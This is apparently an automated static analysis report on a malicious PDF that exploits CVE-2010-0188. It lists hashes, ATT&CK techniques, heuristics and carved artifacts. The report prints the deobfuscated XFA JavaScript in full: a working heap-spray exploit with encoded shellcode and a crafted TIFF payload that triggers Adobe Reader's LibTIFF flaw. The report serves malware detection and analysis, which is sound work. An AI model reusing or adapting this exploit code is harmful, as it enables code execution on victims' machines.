Malicious PDF — malware analysis report

Static analysis result for SHA-256 91cc437de3a6a80e…

MALICIOUS

PDF

9.7 KB First seen: 2015-10-06
MD5: b602f4f0cecfa09e6d97c17818406120 SHA-1: c021f308f8787ae903c651db1df2b7505c59d8d0 SHA-256: 91cc437de3a6a80ea07d2999be2849191d34d77f8a4e0e754293f0cc6c37dc4c
138 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1566.001 Spearphishing Attachment

The ML classifier strongly indicates maliciousness, and the PDF contains embedded files and an XFA form, which are common vectors for PDF exploits. The presence of an embedded URL further suggests a delivery mechanism for malicious content. No scripts were extracted, limiting the ability to determine the exact payload or persistence methods.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://testset.com In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0041.bin pdf-embedded-file PDF EmbeddedFile object 41 at offset 0xEB5 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0xF67 1029 bytes
SHA-256: dda0835df994b8be920f715db36452f6cee7bb42bbc9c897f878a7b298ba8e91
embedded_file_obj99999.bin pdf-embedded-file PDF EmbeddedFile object 99999 at offset 0x1183 24765 bytes
SHA-256: 707d4f8d3ee7b71248746e119a4d8375fd76fcfc6b16aa2036ac4f01dd835c17
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x2146 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x21F3 77 bytes
SHA-256: 10c03f88a5f0a0833dc5b2c8ac295b3a3c6f65e23889eb8cc1dc6fe29bf7f275
xfa_base26_stage_000.js deobfuscated-js XFA separator-stripped base-26 decoded JavaScript (decompressed, XML-entity decoded) at offset 0x136C 4276 bytes
SHA-256: 0d4d2bee9ef52156e1f6301ad481b9d436732f24ce0d68175765d2caf848d621
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var pointers_a, i;var x = new Array();var y = new Array();var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+"000046377637d6973667d3d62796f63662a7e607775777d347c687572616629613d37707b607c6d6a662c613a32333a37723a32333a3a613a31333a3a613a32333a3c613a36613d3a6f617e657563762c613a3a613a3f613a39613a3c613d3a66656f3078607e2364766f23746e65637f28626e6f2d6f636e213131313569667f6d6d2271647166716f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');var _l2="4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141"+"000046377637d6973667d3d62796f63662a7e607775777d347c687572616629613d37707b607c6d6a662c613a32333a37723a32333a3a613a31333a3a613a32333a3c613a36613d3a6f617e657563762c613a3a613a3f613a39613a3c613d3a66656f3078607e2364766f23746e65637f28626e6f2d6f636e213131313569667f6d6d2271647166716f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');_l3=app;_l4=new Array();function _l5(){var _l6=_l3.viewerVersion.toString();_l6=_l6.replace('.','');while(_l6.length<4)_l6+='0';return parseInt(_l6,10)}function _l7(_l8,_l9){while(_l8.length*2<_l9)_l8+=_l8;return _l8.substring(0,_l9/2)}function _I0(_I1){_I1=unescape(_I1);roteDak=_I1.length*2;dakRote=unescape('%u9090');spray=_l7(dakRote,0x2000-roteDak);loxWhee=_I1+spray;loxWhee=_l7(loxWhee,524098);for(i=0; i < 400; i++)_l4[i]=loxWhee.substr(0,loxWhee.length-1)+dakRote;}function _I2(_I1,len){while(_I1.length<len)_I1+=_I1;return _I1.substring(0,len)}function _I3(_I1){ret='';for(i=0;i<_I1.length;i+=2){b=_I1.substr(i,2);c=parseInt(b,16);ret+=String.fromCharCode(c);}return ret}function _ji1(_I1,_I4){_I5='';for(_I6=0;_I6<_I1.length;_I6++){_l9=_I4.length;_I7=_I1.charCodeAt(_I6);_I8=_I4.charCodeAt(_I6%_l9);_I5+=String.fromCharCode(_I7^_I8);}return _I5}function _I9(_I6){_j0=_I6.toString(16);_j1=_j0.length;_I5=(_j1%2)?'0'+_j0:_j0;return _I5}function _j2(_I1){_I5='';for(_I6=0;_I6<_I1.length;_I6+=2){_I5+='%u';_I5+=_I9(_I1.charCodeAt(_I6+1));_I5+=_I9(_I1.charCodeAt(_I6))}return _I5}function _j3(){_j4=_l5();if(_j4<9000){_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_j6=_l1;_j7=_I3(_j6)}else{_j5='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_j6=_l2;_j7=_I3(_j6)}_j8='SUkqADggAABB';_j9=_I2('QUFB',10984);_ll0='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';_ll1=_j8+_j9+_ll0+_j5;_ll2=_ji1(_j7,'');if(_ll2.length%2)_ll2+=unescape('%00');_ll3=_j2(_ll2);with({k:_ll3})_I0(k);ImageField1.rawValue=_ll1}_j3();

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